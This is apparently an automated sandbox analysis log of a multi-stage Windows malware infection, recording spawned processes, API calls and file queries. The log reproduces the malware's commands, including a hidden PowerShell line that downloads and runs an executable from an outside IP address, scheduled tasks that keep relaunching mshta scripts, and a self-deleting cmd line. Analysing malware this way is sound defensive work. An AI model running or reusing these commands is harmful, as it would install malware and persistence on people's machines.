Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe "C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn D966dmaFhpu /tr "mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE "C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "F80nHmaMuIn" /tr "mshta \"C:\Temp\J9hHfTRUK.hta\"" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta "C:\Temp\J9hHfTRUK.hta"
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Process created: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe "C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Process created: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe "C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe"
Source: C:\Windows\System32\mshta.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn pmi96maNnhC /tr "mshta C:\Users\user\AppData\Local\Temp\8kUU4r0rO.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'LFGBUS0KLVO2BZEOKEK9O00ZZUDBS8RY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006A0B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

18_2_006A0B62

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006A1663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

18_2_006A1663

Source: 8e933e9d51.exe, 00000012.00000002.1531510429.0000000000702000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 8e933e9d51.exe	Binary or memory string: Shell_TrayWnd
Source: rapes.exe, rapes.exe, 00000003.00000002.1046903594.000000000043B000.00000040.00000001.01000000.00000007.sdmp, TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE, 00000022.00000002.1637933726.000000000036B000.00000040.00000001.01000000.00000018.sdmp	Binary or memory string: /iProgram Manager

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe

Code function: 13_2_0096A38F cpuid

13_2_0096A38F

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: EnumSystemLocalesW,	13_2_009820C8
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: EnumSystemLocalesW,	13_2_009781BC
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: EnumSystemLocalesW,	13_2_009821AE
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: EnumSystemLocalesW,	13_2_00982113
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	13_2_00982239
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: GetLocaleInfoW,	13_2_0098248C
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	13_2_009825B2
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: GetLocaleInfoW,	13_2_009826B8
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: GetLocaleInfoW,	13_2_009786DE
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	13_2_00982787
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	13_2_00981E26
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: EnumSystemLocalesW,	14_2_004220C8
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: EnumSystemLocalesW,	14_2_00422113
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: EnumSystemLocalesW,	14_2_004221AE
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: EnumSystemLocalesW,	14_2_004181BC
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	14_2_00422239
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: GetLocaleInfoW,	14_2_0042248C
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	14_2_004225B2
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: GetLocaleInfoW,	14_2_004186DE
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: GetLocaleInfoW,	14_2_004226B8
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	14_2_00422787
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	14_2_00421E26
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	17_2_0040CF60

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235700121\am_no.cmd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235700121\am_no.cmd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235930101\83f34278c7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235930101\83f34278c7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235940101\0629403be8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235940101\0629403be8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235950101\d101bd5267.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235950101\d101bd5267.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235960101\718edcc992.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10235960101\718edcc992.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10019520101\dw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10019520101\dw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10026630101\v7942.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10026630101\v7942.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10028100101\crypted.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10028100101\crypted.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10028410101\crypted.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10028410101\crypted.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10029600101\mrwipre12.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10029600101\mrwipre12.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: unknown VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Key VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Key VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Key VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Key VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Key VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Key VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Pythonwin VolumeInformation
